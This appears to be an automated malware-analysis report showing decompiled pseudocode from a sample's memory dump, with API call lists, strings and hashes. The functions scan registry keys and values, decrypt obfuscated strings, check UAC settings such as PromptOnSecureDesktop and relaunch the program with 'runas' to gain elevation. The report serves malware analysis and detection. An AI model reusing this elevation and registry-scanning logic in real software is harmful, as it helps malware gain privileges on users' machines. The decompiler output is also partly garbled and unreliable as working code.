				char* _v28;
				intOrPtr _v32;
				int _v36;
				char _v295;
				char _v296;
				char _v556;
				void _v592;
				intOrPtr* _t85;
				int** _t86;
				char* _t87;
				char* _t88;
				intOrPtr _t89;
				char* _t91;
				long _t92;
				signed int _t93;
				long _t97;
				signed int _t103;
				long _t107;
				char* _t118;
				intOrPtr* _t119;
				CHAR* _t123;
				void* _t125;
				char* _t127;
				intOrPtr* _t134;
				void* _t136;
				intOrPtr _t137;
				signed int* _t146;
				int** _t147;
				void* _t160;
				signed int _t163;
				intOrPtr _t164;
				void* _t165;
				intOrPtr _t167;
				intOrPtr _t172;
				intOrPtr* _t173;
				void* _t186;
				intOrPtr _t187;
				int* _t188;
				void* _t190;
				void* _t191;
				char* _t192;
				signed int _t194;
				int* _t196;
				void* _t202;
				void* _t203;
				void* _t204;
				void* _t206;

				_t165 = __ecx;
				_t85 = _a8;
				_t188 = 0;
				_v16 = 0x104;
				if(_t85 != 0) {
					 *_t85 = 0;
				}
				_t86 = _a12;
				if(_t86 != _t188) {
					 *_t86 = _t188;
				}
				_t87 = _a16;
				if(_t87 != _t188) {
					 *_t87 = 0;
				}
				_t88 = _a20;
				if(_t88 != _t188) {
					 *_t88 = 0; // executed
				}
				_t89 = E00406DC2(_t165); // executed
				_v32 = _t89;
				_t160 = 0xe4;
				_t91 = E00402544(0x4122f8, 0x4106e8, 0x22, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t92 = RegOpenKeyExA(0x80000002, _t91, _t188, 0x20119,  &_v20); // executed
				_push(0x100);
				_push(_t188);
				_push(0x4122f8);
				if(_t92 != 0) {
					_t93 = E0040EE2A(_t165);
					goto L66;
				} else {
					E0040EE2A(_t165);
					_t206 = _t204 + 0xc;
					_push(_v16);
					_push( &_v556);
					_v24 = _t188;
					_push(_t188);
					while(1) {
						_t97 = RegEnumKeyA(_v20, ??, ??, ??); // executed
						if(_t97 != 0) {
							break;
						}
						if(E00406CAD( &_v556) == 0) {
							L41:
							_v24 =  &(_v24[0]);
							_push(0x104);
							_v16 = 0x104;
							_push( &_v556);
							_push(_v24);
							continue;
						}
						_t103 = E0040F1A5( &_v556);
						_pop(_t167);
						if((_t103 ^ 0x5f5f5f5f) != _v32) {
							goto L41;
						}
						_v12 = _t188;
						_v16 = 0x104;
						_t107 = RegOpenKeyExA(_v20,  &_v556, _t188, 0x101,  &_v12);
						if(_t107 != _t188) {
							L45:
							if(_t107 != 5) {
								L50:
								E0040EE2A(_t167, 0x4122f8, _t188, 0x100);
								_t206 = _t206 + 0xc;
								L39:
								if(_v12 != _t188) {
									RegCloseKey(_v12);
								}
								goto L41;
							}
							E0040EF00(_a16,  &_v556);
							if(_v12 != _t188) {
								RegCloseKey(_v12);
							}
							_push(4);
							_pop(0);
							L64:
							RegCloseKey(_v20);
							return 0;
						}
						_t118 = E00402544(0x4122f8, 0x4106dc, 0xa, _t160, 0xc8);
						_t206 = _t206 + 0x14;
						_t107 = RegQueryValueExA(_v12, _t118, _t188,  &_v36,  &_v296,  &_v16);
						if(_t107 != _t188) {
							goto L45;
						}
						_t119 =  &_v556;
						_t186 = _t119 + 1;
						do {
							_t167 =  *_t119;
							_t119 = _t119 + 1;
						} while (_t167 != 0);
						if(_v16 <= _t119 - _t186) {
							goto L50;
						}
						_t123 = E0040EE95( &_v296,  &_v556);
						_pop(_t167);
						_v8 = _t123;
						if(_t123 == _t188) {
							goto L50;
						}
						_t125 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						_t206 = _t206 + 0x1c;
						if(_t125 == 0) {
							_t188 = 0;
							goto L50;
						}
						if(_v296 != 0x22) {
							_t127 = E0040ED03( &_v296, 0x20);
							_pop(_t167);
						} else {
							E0040EF00( &_v296,  &_v295);
							_t127 = E0040ED03( &_v296, 0x22);
							_t206 = _t206 + 0x10;
						}
						if(_t127 != 0) {
							 *_t127 = 0;
						}
						_v8 = E0040EE95( &_v296,  &_v556);
						_v28 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						E0040EE2A(_t167, 0x4122f8, 0, 0x100);
						_t134 = _a4;
						_t206 = _t206 + 0x30;
						_t190 = _t134 + 1;
						do {
							_t172 =  *_t134;
							_t134 = _t134 + 1;
						} while (_t172 != 0);
						_t173 = _v8;
						_t191 = _t134 - _t190;
						_t43 = _t173 + 1; // 0x1
						_t136 = _t43;
						do {
							_t187 =  *_t173;
							_t173 = _t173 + 1;
						} while (_t187 != 0);
						_t174 = _t173 - _t136;
						if(_t191 <= _t173 - _t136 || E0040ED77(_t191 - _t174 + _a4, _v8) != 0) {
							_t192 = _v28;
							 *_t192 = 0;
							_t137 = E0040ED23(_v8, 0x5c);
							_v8 = _t137;
							if(_t137 != 0) {
								_v8 = _v8 + 1;
							} else {
								_v8 =  &_v296;
							}
							if(E00406CAD(_v8) == 0) {
								 *_t192 = 0x2e;
								goto L38;
							} else {
								_t194 = E0040F1A5(_v8) ^ 0x5f5f5f5f;
								_t163 = _t194 >> 0x00000008 & 0x000000ff;
								 *_v28 = 0x2e;
								if(E00406C96(_t194) != 0) {
									L37:
									_t160 = 0xe4;
									L38:
									_t188 = 0;
									goto L39;
								}
								_t56 = _t163 - 0x51; // -81
								if(_t56 > 0x2e || (_t194 & 0x000000ff) >= 0x10) {
									goto L37;
								} else {
									_t196 = 0;
									if(GetFileAttributesExA( &_v296, 0,  &_v592) != 0) {
										_t196 = 1;
									}
									_t146 = _a8;
									if(_t146 != 0) {
										 *_t146 = _t163;
									}
									_t164 = _a16;
									if(_t164 != 0) {
										_t202 = _v8 -  &_v296;
										E0040EE08(_t164,  &_v296, _t202);
										 *((char*)(_t202 + _t164)) = 0;
									}
									if(_a20 != 0) {
										E0040EF00(_a20, _v8);
									}
									_t147 = _a12;
									if(_t147 != 0) {
										 *_t147 = _t196;
									}
									_push(3);
									_pop(0);
									goto L63;
								}
							}
						} else {
							E0040EF00(_a16,  &_v556);
							L63:
							RegCloseKey(_v12);
							goto L64;
						}
					}
					_t93 = RegCloseKey(_v20); // executed
					L66:
					return _t93 | 0xffffffff;
				}
			}

0x004073ff
0x00407408
0x0040740e
0x00407410
0x00407419
0x0040741b
0x0040741b
0x0040741d
0x00407422
0x00407424
0x00407424
0x00407426
0x0040742b
0x0040742d
0x0040742d
0x00407430
0x00407435
0x00407437
0x00407437
0x0040743a
0x0040743f
0x00407451
0x00407464
0x00407469
0x00407472
0x00407478
0x0040747d
0x0040747e
0x00407481
0x004077f9
0x00000000
0x00407487
0x00407487
0x0040748c
0x0040748f
0x00407498
0x00407499
0x0040749c
0x00407703
0x00407706
0x0040770e
0x00000000
0x00000000
0x004074b1
0x004076ed
0x004076ed
0x004076f5
0x004076f6
0x004076ff
0x00407700
0x00000000
0x00407700
0x004074be
0x004074c8
0x004074cc
0x00000000
0x00000000
0x004074e6
0x004074e9
0x004074f0
0x004074f8
0x00407727
0x0040772a
0x00407755
0x0040775c
0x00407761
0x004076df
0x004076e2
0x004076e7
0x004076e7
0x00000000
0x004076e2
0x00407736
0x00407740
0x00407745
0x00407745
0x0040774b
0x0040774d
0x004077ec
0x004077ef
0x00000000
0x004077f5
0x0040751c
0x00407521
0x00407528
0x00407530
0x00000000
0x00000000
0x00407536
0x0040753c
0x0040753f
0x0040753f
0x00407541
0x00407542
0x0040754b
0x00000000
0x00000000
0x0040755f
0x00407565
0x00407566
0x0040756b
0x00000000
0x00000000
0x00407589
0x0040758e
0x00407593
0x00407753
0x00000000
0x00407753
0x004075a0
0x004075d1
0x004075d7
0x004075a2
0x004075b0
0x004075be
0x004075c3
0x004075c3
0x004075da
0x004075dc
0x004075dc
0x004075fc
0x00407615
0x00407618
0x0040761d
0x00407620
0x00407623
0x00407626
0x00407626
0x00407628
0x00407629
0x0040762d
0x00407632
0x00407634
0x00407634
0x00407637
0x00407637
0x00407639
0x0040763a
0x0040763e
0x00407642
0x0040765c
0x00407664
0x00407667
0x0040766e
0x00407673
0x00407680
0x00407675
0x0040767b
0x0040767b
0x0040768e
0x00407722
0x00000000
0x00407694
0x004076a1
0x004076ad
0x004076b3
0x004076bf
0x004076d8
0x004076d8
0x004076dd
0x004076dd
0x00000000
0x004076dd
0x004076c1
0x004076c7
0x00000000
0x0040777e
0x00407785
0x00407797
0x00407799
0x00407799
0x0040779a
0x0040779f
0x004077a1
0x004077a1
0x004077a3
0x004077a8
0x004077b3
0x004077b8
0x004077c0
0x004077c0
0x004077c8
0x004077d0
0x004077d6
0x004077d7
0x004077dc
0x004077de
0x004077de
0x004077e0
0x004077e2
0x00000000
0x004077e2
0x004076c7
0x00407769
0x00407773
0x004077e3
0x004077e6
0x00000000
0x004077e6
0x00407642
0x00407717
0x00407801
0x00000000
0x00407801

APIs

RegOpenKeyExA.KERNELBASE(80000002,00000000,00020119,00000000,?,74B043E0,00000000), ref: 00407472
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00000101,?,?,?,?,?,?,?,74B043E0,00000000), ref: 004074F0
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104,?,?,?,?,?,?,74B043E0,00000000), ref: 00407528
___ascii_stricmp.LIBCMT ref: 0040764D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,74B043E0,00000000), ref: 004076E7
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000104), ref: 00407706
RegCloseKey.KERNELBASE(00000000,?,?,?,?,?,?,74B043E0,00000000), ref: 00407717
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,74B043E0,00000000), ref: 00407745
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,74B043E0,00000000), ref: 004077EF

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040778F
RegCloseKey.ADVAPI32(?), ref: 004077E6

Strings

", xrefs: 00407599
PromptOnSecureDesktop, xrefs: 0040745E, 00407463, 0040747E, 0040751B, 0040757F, 004075FB, 00407614, 0040775B

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: 4b9b155aeb6d3c2979391468128ff3d89cb010d24f2dd2b056da73d752cf856e
Instruction ID: 935bf66ec16e6f4efecf7822406c543759c0c2e2506aa673f80888d9f2c88909
Opcode Fuzzy Hash: 4b9b155aeb6d3c2979391468128ff3d89cb010d24f2dd2b056da73d752cf856e
Instruction Fuzzy Hash: 41C1F171D04209ABEB119BA5DC45BEF7BB9EF04310F1004B7F504B72D1EA78AE908B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040704C, Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 332
registryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E0040704C(intOrPtr _a4, int _a8, int _a12, int _a16, int* _a20) {
				CHAR* _v8;
				void* _v12;
				char _v16;
				int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				char _v64;
				char _v363;
				char _v364;
				void _v400;
				intOrPtr* _t88;
				int* _t89;
				int* _t90;
				int* _t91;
				char* _t93;
				long _t94;
				signed int _t96;
				signed int _t97;
				long _t99;
				signed int _t107;
				int _t109;
				int _t119;
				int _t121;
				int _t122;
				int _t123;
				signed int _t125;
				int _t130;
				int _t136;
				int _t149;
				int _t155;
				void* _t158;
				void* _t166;
				int _t196;
				char* _t200;
				int _t206;
				void* _t207;
				void* _t208;
				void* _t210;
				void* _t211;

				_t88 = _a8;
				_t167 = 0;
				_v16 = 0x12c;
				_v24 = 0x20;
				_v364 = 0;
				if(_t88 != 0) {
					 *_t88 = 0;
				}
				_t89 = _a12;
				if(_t89 != _t167) {
					 *_t89 = _t167;
				}
				_t90 = _a16;
				if(_t90 != _t167) {
					 *_t90 = _t167;
				}
				_t91 = _a20;
				if(_t91 != _t167) {
					 *_t91 = _t167;
				}
				_t93 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t208 = _t207 + 0x14;
				_t94 = RegOpenKeyExA(0x80000001, _t93, _t167, 0x101,  &_v12); // executed
				if(_t94 != 0) {
					L21:
					_t96 = E0040EE2A(_t167, 0x4122f8, 0, 0x100) | 0xffffffff;
					goto L22;
				} else {
					_t97 = E00406DC2(_t167);
					_push( &_v16);
					_push( &_v364);
					_push( &_v28);
					_v32 = _t97;
					_push(0);
					_push( &_v24);
					_t167 =  &_v64;
					_push( &_v64);
					_v8 = 0;
					_push(0);
					while(1) {
						_t99 = RegEnumValueA(_v12, ??, ??, ??, ??, ??, ??, ??); // executed
						if(_t99 == 0x103) {
							break;
						}
						__eflags = _t99;
						if(_t99 != 0) {
							L18:
							_t25 =  &_v8;
							 *_t25 =  &(_v8[1]);
							__eflags =  *_t25;
							_push( &_v16);
							_push( &_v364);
							_push( &_v28);
							_push(0);
							_push( &_v24);
							_push( &_v64);
							_push(_v8);
							_v16 = 0x12c;
							_v24 = 0x20;
							continue;
						}
						__eflags = _v24 - _t99;
						if(_v24 <= _t99) {
							goto L18;
						}
						__eflags = _v16 - _t99;
						if(_v16 <= _t99) {
							goto L18;
						}
						__eflags = _v28 - 1;
						if(_v28 != 1) {
							goto L18;
						}
						_t107 = E0040EED1( &_v64, E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8));
						_t210 = _t208 + 0x1c;
						asm("sbb eax, eax");
						_t109 =  ~_t107 + 1;
						__eflags = _t109;
						_v20 = _t109;
						if(_t109 != 0) {
							L23:
							_v8 = E0040EE95( &_v364, E00402544(0x4122f8,  &E0041069C, 4, 0xe4, 0xc8));
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t211 = _t210 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								__eflags = _v364 - 0x22;
								if(_v364 == 0x22) {
									E0040EF00( &_v364,  &_v363);
									_t149 = E0040ED23( &_v364, 0x22);
									_t211 = _t211 + 0x10;
									__eflags = _t149;
									if(_t149 != 0) {
										 *_t149 = 0;
									}
								}
								_t196 = E0040EE95( &_v364, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
								E0040EE2A(_t167, 0x4122f8, 0, 0x100);
								__eflags = _t196;
								if(_t196 != 0) {
									_t119 = E0040ED77( &_v364, _a4);
									__eflags = _t119;
									if(_t119 != 0) {
										 *_t196 = 0;
										_t121 = E0040ED23( &_v364, 0x5c);
										_v8 = _t121;
										__eflags = _t121;
										if(_t121 != 0) {
											_t63 =  &_v8;
											 *_t63 =  &(_v8[1]);
											__eflags =  *_t63;
										} else {
											_v8 =  &_v364;
										}
										_t122 = E00406CAD(_v8);
										__eflags = _t122;
										if(_t122 != 0) {
											_pop(_t200);
											_push(0x8b00007e);
											asm("lock xor esi, 0x55555555");
											_v16 = 0x4122f8;
											_t166 = 0xad;
											_t123 = E00406C96(0x4122f8);
											__eflags = _t123;
											if(_t123 != 0) {
												L57:
												RegCloseKey(_v12);
												__eflags = _a16;
												if(_a16 != 0) {
													E0040EF00(_a16,  &_v64);
												}
												_t125 = 0;
												__eflags = _v20;
												 *_t200 = 0x2e;
												goto L34;
											}
											__eflags = 0x6d - 0x3f;
											if(0x6d > 0x3f) {
												goto L57;
											}
											__eflags = 0xf8 - 0x10;
											if(0xf8 >= 0x10) {
												goto L57;
											}
											_t206 = _a12;
											 *_t200 = 0x2e;
											__eflags = _t206;
											if(_t206 != 0) {
												_t136 = GetFileAttributesExA( &_v364, 0,  &_v400);
												__eflags = _t136;
												if(_t136 != 0) {
													 *_t206 = 1;
												}
											}
											_t130 = _a8;
											__eflags = _t130;
											if(_t130 != 0) {
												 *_t130 = _t166;
											}
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											__eflags = _a20;
											if(_a20 != 0) {
												E0040EF00(_a20, _v8);
											}
											_t125 = 0;
											__eflags = _v20;
											goto L34;
										} else {
											RegCloseKey(_v12);
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											 *_t196 = 0x2e;
											goto L33;
										}
									}
									RegCloseKey(_v12);
									_t96 = 0;
									goto L22;
								} else {
									RegCloseKey(_v12);
									__eflags = _a16;
									if(_a16 != 0) {
										E0040EF00(_a16,  &_v64);
									}
									L33:
									_t125 = 0;
									__eflags = _v20;
									L34:
									_t96 = (_t125 & 0xffffff00 | __eflags == 0x00000000) + 1;
									L22:
									return _t96;
								}
							}
							RegCloseKey(_v12);
							__eflags = _a16;
							if(_a16 != 0) {
								E0040EF00(_a16,  &_v64);
							}
							_t96 = 1;
							goto L22;
						}
						_t155 = E00406CAD( &_v64);
						_pop(_t167);
						__eflags = _t155;
						if(_t155 == 0) {
							L17:
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t208 = _t210 + 0xc;
							goto L18;
						}
						_t158 = E0040F1A5( &_v64);
						_t167 = _v32 ^ 0x5f5f5f5f;
						__eflags = _t158 - (_v32 ^ 0x5f5f5f5f);
						if(_t158 == (_v32 ^ 0x5f5f5f5f)) {
							goto L23;
						}
						goto L17;
					}
					RegCloseKey(_v12); // executed
					goto L21;
				}
			}

0x00407055
0x00407058
0x0040705a
0x00407061
0x00407068
0x00407071
0x00407073
0x00407073
0x00407075
0x0040707a
0x0040707c
0x0040707c
0x0040707e
0x00407083
0x00407085
0x00407085
0x00407087
0x0040708c
0x0040708e
0x0040708e
0x004070b4
0x004070b9
0x004070c2
0x004070ca
0x004071b8
0x004071c8
0x00000000
0x004070d0
0x004070d0
0x004070d8
0x004070df
0x004070e3
0x004070e4
0x004070e9
0x004070ed
0x004070ee
0x004070f1
0x004070f2
0x004070f5
0x0040719b
0x0040719e
0x004071a9
0x00000000
0x00000000
0x004070fb
0x004070fd
0x0040716e
0x0040716e
0x0040716e
0x0040716e
0x00407174
0x0040717b
0x0040717f
0x00407180
0x00407185
0x00407189
0x0040718a
0x0040718d
0x00407194
0x00000000
0x00407194
0x004070ff
0x00407102
0x00000000
0x00000000
0x00407104
0x00407107
0x00000000
0x00000000
0x00407109
0x0040710d
0x00000000
0x00000000
0x00407123
0x00407128
0x0040712d
0x0040712f
0x0040712f
0x00407130
0x00407133
0x004071d0
0x004071f4
0x004071f7
0x004071fc
0x004071ff
0x00407203
0x00407227
0x0040722e
0x0040723e
0x0040724c
0x00407251
0x00407254
0x00407256
0x00407258
0x00407258
0x00407256
0x00407280
0x00407282
0x0040728a
0x0040728c
0x004072c2
0x004072c9
0x004072cb
0x004072e6
0x004072e8
0x004072ef
0x004072f2
0x004072f4
0x00407301
0x00407301
0x00407301
0x004072f6
0x004072fc
0x004072fc
0x00407307
0x0040730d
0x0040730f
0x00407338
0x00407339
0x0040733e
0x0040734b
0x0040734e
0x00407354
0x0040735b
0x0040735d
0x004073d5
0x004073d8
0x004073de
0x004073e2
0x004073eb
0x004073f1
0x004073f2
0x004073f4
0x004073f7
0x00000000
0x004073f7
0x00407362
0x00407365
0x00000000
0x00000000
0x0040736d
0x00407370
0x00000000
0x00000000
0x00407372
0x00407375
0x0040737a
0x0040737c
0x0040738d
0x00407393
0x00407395
0x00407397
0x00407397
0x00407395
0x0040739d
0x004073a0
0x004073a2
0x004073a4
0x004073a4
0x004073a6
0x004073a9
0x004073b2
0x004073b8
0x004073b9
0x004073bc
0x004073c4
0x004073ca
0x004073cb
0x004073cd
0x00000000
0x00407311
0x00407314
0x0040731a
0x0040731d
0x00407326
0x0040732c
0x0040732d
0x00000000
0x0040732d
0x0040730f
0x004072d0
0x004072d6
0x00000000
0x0040728e
0x00407291
0x00407297
0x0040729a
0x004072a3
0x004072a9
0x004072aa
0x004072aa
0x004072ac
0x004072af
0x004072b2
0x004071cb
0x004071cf
0x004071cf
0x0040728c
0x00407208
0x0040720e
0x00407212
0x0040721b
0x00407221
0x00407224
0x00000000
0x00407224
0x0040713d
0x00407142
0x00407143
0x00407145
0x0040715e
0x00407166
0x0040716b
0x00000000
0x0040716b
0x0040714b
0x00407154
0x0040715a
0x0040715c
0x00000000
0x00000000
0x00000000
0x0040715c
0x004071b2
0x00000000
0x004071b2

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000101,74B043E0,?,74B043E0,00000000), ref: 004070C2
RegEnumValueA.KERNELBASE(74B043E0,00000000,?,00000020,00000000,00000000,00000000,0000012C,?,74B043E0,00000000), ref: 0040719E
RegCloseKey.KERNELBASE(74B043E0,?,74B043E0,00000000), ref: 004071B2
RegCloseKey.ADVAPI32(74B043E0), ref: 00407208
RegCloseKey.ADVAPI32(74B043E0), ref: 00407291
___ascii_stricmp.LIBCMT ref: 004072C2
RegCloseKey.ADVAPI32(74B043E0), ref: 004072D0
RegCloseKey.ADVAPI32(74B043E0), ref: 00407314
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040738D
RegCloseKey.ADVAPI32(74B043E0), ref: 004073D8

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

Strings

, xrefs: 00407194
PromptOnSecureDesktop, xrefs: 004070AE, 004070B3, 00407118, 00407165, 004071BF, 004071D9, 004071F3, 00407264, 0040727F, 0040734A
", xrefs: 00407227

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Close$AttributesEnumFileOpenValue___ascii_stricmplstrlen
String ID: $"$PromptOnSecureDesktop
API String ID: 4293430545-98143240
Opcode ID: 9fc960c841f64db1798e375dacc5c4e0271faa8b679b41fdcbded5dbc0b3ae5e
Instruction ID: 71ff1afdff233adc3dbc3a3ac8a216153e631e5214419c388985c355c12e0f3a
Opcode Fuzzy Hash: 9fc960c841f64db1798e375dacc5c4e0271faa8b679b41fdcbded5dbc0b3ae5e
Instruction Fuzzy Hash: 72B17F71D0820ABAEB159FA1DC45BEF77B8AB04304F10047BF501F61D1EB79AA94CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409326, Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 284
registryCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00409326(void* __ecx, void* __edx) {
				void* __ebx;
				char _t88;
				void* _t89;
				int _t92;
				void* _t96;
				signed int _t97;
				signed int _t100;
				signed int _t103;
				char* _t106;
				long _t107;
				char* _t111;
				signed int _t112;
				char* _t116;
				signed int _t117;
				int _t119;
				void* _t146;
				signed int _t155;
				int _t161;
				signed int _t165;
				signed int _t167;
				void* _t168;
				void* _t170;
				void* _t172;
				void* _t173;
				void* _t175;
				void* _t176;

				_t146 = __ecx;
				_t168 = _t170 - 0x60;
				E00401910(0x19bc);
				 *(_t168 - 0x58) = 0x9c;
				if(GetVersionExA(_t168 - 0x58) == 0) {
					 *(_t168 - 0x4c) =  *(_t168 - 0x4c) & 0x00000000;
					_t9 = _t168 + 0x58;
					 *_t9 =  *(_t168 + 0x58) & 0x00000000;
					__eflags =  *_t9;
				} else {
					 *(_t168 + 0x58) = ( *(_t168 - 0x54) << 4) +  *((intOrPtr*)(_t168 - 0x50));
				}
				_t88 = GetModuleFileNameA(GetModuleHandleA(0), _t168 - 0x15c, 0x104);
				if(_t88 == 0) {
					 *(_t168 - 0x15c) = _t88;
				}
				_push( *((intOrPtr*)(_t168 + 0x70)));
				_t89 = _t168 - 0x15c;
				if( *(_t168 + 0x78) == 0) {
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8,  &E00410918, 0xbd, 0xe4, 0xc8));
					_t172 = _t170 + 0x40;
				} else {
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8, 0x4109d8, 0x4d, 0xe4, 0xc8));
					_t172 = _t170 + 0x38;
				}
				 *(_t168 + 0x78) = _t92;
				E0040EE2A(_t146, 0x4122f8, 0, 0x100);
				_t173 = _t172 + 0xc;
				if( *(_t168 + 0x58) >= 0x60 &&  *((intOrPtr*)(_t168 + 0x7c)) != 0) {
					E0040EF00(_t168 - 0x15c, E00406CC9(_t146));
					E0040EF1E(_t168 - 0x15c, E00402544(0x4122f8,  &E0041090C, 0xc, 0xe4, 0xc8));
					_push(_t168 - 0x15c);
					wsprintfA(_t168 +  *(_t168 + 0x78) - 0x95c, E00402544(0x4122f8,  &E00410888, 0x82, 0xe4, 0xc8));
					E0040EE2A(_t146, 0x4122f8, 0, 0x100);
					_t173 = _t173 + 0x50;
				}
				 *(_t168 + 0x78) =  *(_t168 + 0x78) & 0x00000000;
				 *(_t168 + 0x5c) = E00406EDD();
				if( *(_t168 + 0x58) < 0x60) {
					_t165 =  *(_t168 + 0x78);
					_t161 = 0;
					__eflags = 0;
					L33:
					__eflags =  *(_t168 + 0x5c) - _t161;
					if( *(_t168 + 0x5c) == _t161) {
						L38:
						_push(_t168 - 0x95c);
						_push(_t161); // executed
						L39:
						_t96 = E004091EB(); // executed
						__eflags =  *0x412180 - _t161; // 0x0
						if(__eflags != 0) {
							 *0x412180 =  *0x412180 | _t165;
							__eflags =  *0x412180;
						}
						__eflags = _t96 - 0x2a;
						_t81 = _t96 == 0x2a;
						__eflags = _t81;
						_t97 = 0 | _t81;
						L42:
						return _t97;
					}
					_t100 = E00401820(_t168 + 0x54, _t168 + 0x78);
					__eflags = _t100;
					if(_t100 != 0) {
						_push(_t168 - 0x95c);
						_push("runas");
						goto L39;
					}
					_t103 =  *(_t168 + 0x78) | 0x5f050000;
					__eflags = _t103;
					 *0x412180 = _t103;
					 *0x41217c =  *(_t168 + 0x54);
					if(_t103 != 0) {
						 *0x412180 = _t103 | _t165;
					}
					L31:
					_t97 = 0;
					goto L42;
				}
				 *(_t168 + 0x4c) = 4;
				 *(_t168 + 0x44) = 5;
				 *(_t168 + 0x48) = 1;
				_t106 = E00402544(0x4122f8,  &E0041084C, 0x3a, 0xe4, 0xc8);
				_t175 = _t173 + 0x14;
				_t107 = RegOpenKeyExA(0x80000002, _t106, 0, 0x101, _t168 + 0x50); // executed
				if(_t107 == 0) {
					_t111 = E00402544(0x4122f8, 0x410830, 0x1b, 0xe4, 0xc8);
					_t176 = _t175 + 0x14;
					_t112 = RegQueryValueExA( *(_t168 + 0x50), _t111, 0, _t168 + 0x54, _t168 + 0x44, _t168 + 0x4c); // executed
					__eflags = _t112;
					if(_t112 == 0) {
						_t116 = E00402544(0x4122f8, 0x410818, 0x16, 0xe4, 0xc8);
						_t176 = _t176 + 0x14;
						_t117 = RegQueryValueExA( *(_t168 + 0x50), _t116, 0, _t168 + 0x54, _t168 + 0x48, _t168 + 0x4c); // executed
						__eflags = _t117;
						if(_t117 != 0) {
							 *(_t168 + 0x78) = 0x3000;
						}
					} else {
						 *(_t168 + 0x78) = 0x2000;
					}
					RegCloseKey( *(_t168 + 0x50));
					_t165 =  *(_t168 + 0x78);
				} else {
					_t165 = 0x1000;
				}
				_t161 = 0;
				if( *(_t168 + 0x44) != 0 ||  *(_t168 + 0x48) != 0) {
					if( *(_t168 + 0x5c) <= _t161) {
						goto L38;
					}
					_t119 =  *(_t168 - 0x4c);
					if( *(_t168 + 0x58) < 0x61 || _t119 < 0x1db0) {
						 *0x41217c = _t119;
						_t167 = _t165 | 0x5f050106;
						__eflags = _t167;
						goto L30;
					} else {
						if(E0040F0E4(_t168 - 0x95c, _t168 - 0x195c, 0x800) == 0) {
							 *0x41217c = _t161;
							_t167 = _t165 | 0x5f050107;
							L30:
							 *0x412180 = _t167;
							goto L31;
						}
						_t97 = E004018E0(0xc8, _t168 - 0x195c, _t168 + 0x5c, _t168 + 0x78);
						if(_t97 == _t161) {
							_t155 =  *(_t168 + 0x78) | 0x5f050000;
							 *0x412180 = _t155;
							 *0x41217c =  *(_t168 + 0x5c);
							if(_t155 != 0) {
								 *0x412180 = _t155 | _t165;
							}
						}
						goto L42;
					}
				} else {
					goto L33;
				}
			}

0x00409326
0x00409327
0x00409330
0x00409339
0x00409348
0x00409358
0x0040935c
0x0040935c
0x0040935c
0x0040934a
0x00409353
0x00409353
0x00409375
0x0040937d
0x0040937f
0x0040937f
0x0040938c
0x00409394
0x004093a2
0x004093d9
0x004093dc
0x004093dd
0x004093e0
0x004093e3
0x004093e6
0x004093e9
0x004093ec
0x0040940c
0x00409412
0x004093a4
0x004093a4
0x004093a5
0x004093a8
0x004093ab
0x004093ae
0x004093b1
0x004093ce
0x004093d4
0x004093d4
0x0040941d
0x00409420
0x00409425
0x0040942c
0x00409441
0x0040945d
0x0040946b
0x0040948d
0x0040949b
0x004094a0
0x004094a0
0x004094a3
0x004094b0
0x004094b3
0x0040962f
0x00409632
0x00409632
0x00409634
0x00409634
0x00409637
0x0040967b
0x00409681
0x00409682
0x00409683
0x00409683
